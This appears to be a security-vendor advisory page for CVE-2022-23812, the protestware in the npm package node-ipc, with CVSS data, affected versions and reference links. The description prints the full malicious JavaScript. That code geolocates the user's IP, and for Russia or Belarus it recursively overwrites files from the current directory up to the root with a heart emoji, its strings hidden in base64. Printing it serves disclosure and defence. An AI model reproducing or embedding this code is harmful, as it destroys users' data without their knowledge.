CVE-2022-23812
Last modified
CVE-2022-23812 is a critical-severity vulnerability rated 9.8/10 on the CVSS scale. This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. EPSS estimates a 4.16% chance of exploitation in the next 30 days.
Description
This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };
Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Software
| Vendor | Product | Versions |
|---|---|---|
| Node-Ipc Project | Node-Ipc | >= 10.1.1, < 10.1.3 |
| Node-Ipc Project | Node-Ipc | >= 11.0.0 |
References
- https://github.com/RIAEvangelist/node-ipc/issues/233Issue Tracking, Patch, Third Party Advisory
- https://github.com/RIAEvangelist/node-ipc/issues/236Issue Tracking, Patch, Third Party Advisory
- https://security.netapp.com/advisory/ntap-20220407-0005/Third Party Advisory
- https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370Exploit, Patch, Third Party Advisory
- https://github.com/RIAEvangelist/node-ipc/issues/233Issue Tracking, Patch, Third Party Advisory
- https://github.com/RIAEvangelist/node-ipc/issues/236Issue Tracking, Patch, Third Party Advisory
- https://security.netapp.com/advisory/ntap-20220407-0005/Third Party Advisory
- https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370Exploit, Patch, Third Party Advisory
Timeline
- Published
- Last Modified
- Status
- Modified
Frequently Asked Questions
What is CVE-2022-23812?
How severe is CVE-2022-23812?
How do I fix CVE-2022-23812?
How Strix Helps
- How Strix found a critical auth bypass in etcdStrix autonomously discovered a critical authentication bypass in etcd, later designated CVE-2026-33413.
- Autonomous PentestingAI agents that find and validate exploitable vulnerabilities like this one across your applications.
- PR ReviewsPentest every pull request so vulnerable code is caught before it ships to production.
- AI Penetration TestingHow AI-driven penetration testing continuously covers your attack surface.
Related CVEs from 2022
- CVE-2022-23805A security out-of-bounds read information disclosure vulnera…7.1
- CVE-2022-23806Curve.IsOnCurve in crypto/elliptic in Go before 1.16.14 and …9.1
- CVE-2022-23807An issue was discovered in phpMyAdmin 4.9 before 4.9.8 and 5…4.3
- CVE-2022-23808An issue was discovered in phpMyAdmin 5.1 before 5.1.2. An a…6.1
- CVE-2022-2381The E Unlocked - Student Result WordPress plugin through 1.0…8.8
- CVE-2022-23810Template injection (Improper Neutralization of Special Eleme…6.5
- CVE-2022-23813The software interfaces to ASP and SMU may not enforce the S…5.3
- CVE-2022-23814Failure to validate addresses provided by software to BIOS c…5.3
- CVE-2022-23815Improper bounds checking in APCB firmware may allow an attac…8.2
- CVE-2022-23816Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultID…
- CVE-2022-23817Insufficient checking of memory buffer in AMD Secure Process…7.3
- CVE-2022-23818Insufficient input validation on the model specific register…7.5
Are you affected by CVE-2022-23812?
Run a free Strix scan to check your systems for this vulnerability.
Scan your code nowSource: NVD / NIST
